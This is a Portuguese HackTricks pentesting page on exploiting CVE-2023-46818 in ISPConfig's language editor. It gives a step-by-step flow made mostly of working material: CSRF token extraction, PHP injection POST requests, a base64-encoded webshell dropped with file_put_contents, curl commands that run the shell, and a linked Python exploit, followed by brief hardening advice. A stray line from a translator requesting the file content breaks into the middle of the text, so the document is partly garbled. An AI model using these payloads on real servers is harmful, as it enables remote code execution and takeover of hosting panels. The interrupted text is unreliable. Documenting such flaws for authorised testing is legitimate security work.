92 lines
4.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# ISPConfig
{{#include ../../banners/hacktricks-training.md}}
## Visão geral
ISPConfig é um painel de controle de hospedagem open-source. Versões antigas 3.2.x incluíam um recurso de editor de arquivos de idioma que, quando ativado para o superadministrador, permitia a injeção de código PHP arbitrário via um registro de tradução malformado. Isso pode resultar em RCE no contexto do servidor web e, dependendo de como o PHP é executado, elevação de privilégios.
Principais caminhos padrão:
- A raiz web costuma estar em `/var/www/ispconfig` quando servida com `php -S` ou via Apache/nginx.
- A UI de administração é acessível no vhost HTTP(S) (às vezes vinculada apenas ao localhost; use SSH port-forward se necessário).
Dica: Se o painel estiver vinculado localmente (ex.: `127.0.0.1:8080`), encaminhe-o:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## Language editor PHP code injection (CVE-2023-46818)
- Afetado(s): ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Pré-requisitos:
- Faça login com a conta superadmin integrada `admin` (outros papéis não são afetados segundo o fornecedor)
- O Language editor deve estar habilitado: `admin_allow_langedit=yes` em `/usr/local/ispconfig/security/security_settings.ini`
- Impacto: Um admin autenticado pode injetar PHP arbitrário que é escrito em um arquivo de idioma e executado pela aplicação, alcançando RCE no contexto web
Referências: entrada NVD CVE-2023-46818 e link do advisory do fornecedor na seção Referências abaixo.
### Fluxo de exploração manual
1) Abra/crie um arquivo de idioma para obter tokens CSRF
Envie um primeiro POST para inicializar o formulário e extraia os campos CSRF da resposta HTML (`csrf_id`, `csrf_key`). Exemplo de caminho de requisição: `/admin/language_edit.php`.
2) Injete PHP via records[] e salve
Envie um segundo POST incluindo os campos CSRF e um registro de tradução malicioso. Provas mínimas de execução de comando:
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
Teste fora de banda (observar ICMP):
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) Escrever arquivos e drop a webshell
Use `file_put_contents` para criar um arquivo em um caminho acessível via web (por exemplo, `admin/`):
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
Em seguida, escreva um webshell simples usando base64 para evitar caracteres inválidos no corpo do POST:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
Por favor, cole aqui o conteúdo do arquivo src/network-services-pentesting/pentesting-web/ispconfig.md que você quer que eu traduza para o português. Sem o conteúdo não consigo fazer a tradução.
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
Se o PHP for executado como root (por exemplo, via `php -S 127.0.0.1:8080` iniciado pelo root), isso resulta em root RCE imediato. Caso contrário, você obtém execução de código como o usuário do servidor web.
### PoC em Python
Um exploit pronto para uso automatiza token handling e payload delivery:
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
Exemplo de execução:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### Hardening
- Atualize para 3.2.11p1 ou posterior
- Desative o language editor a menos que seja estritamente necessário:
```
admin_allow_langedit=no
```
- Evite executar o painel como root; configure o PHP-FPM ou o servidor web para reduzir privilégios
- Exija autenticação forte para a conta integrada `admin`
## Referências
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
- [CVE-2023-46818 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../../banners/hacktricks-training.md}}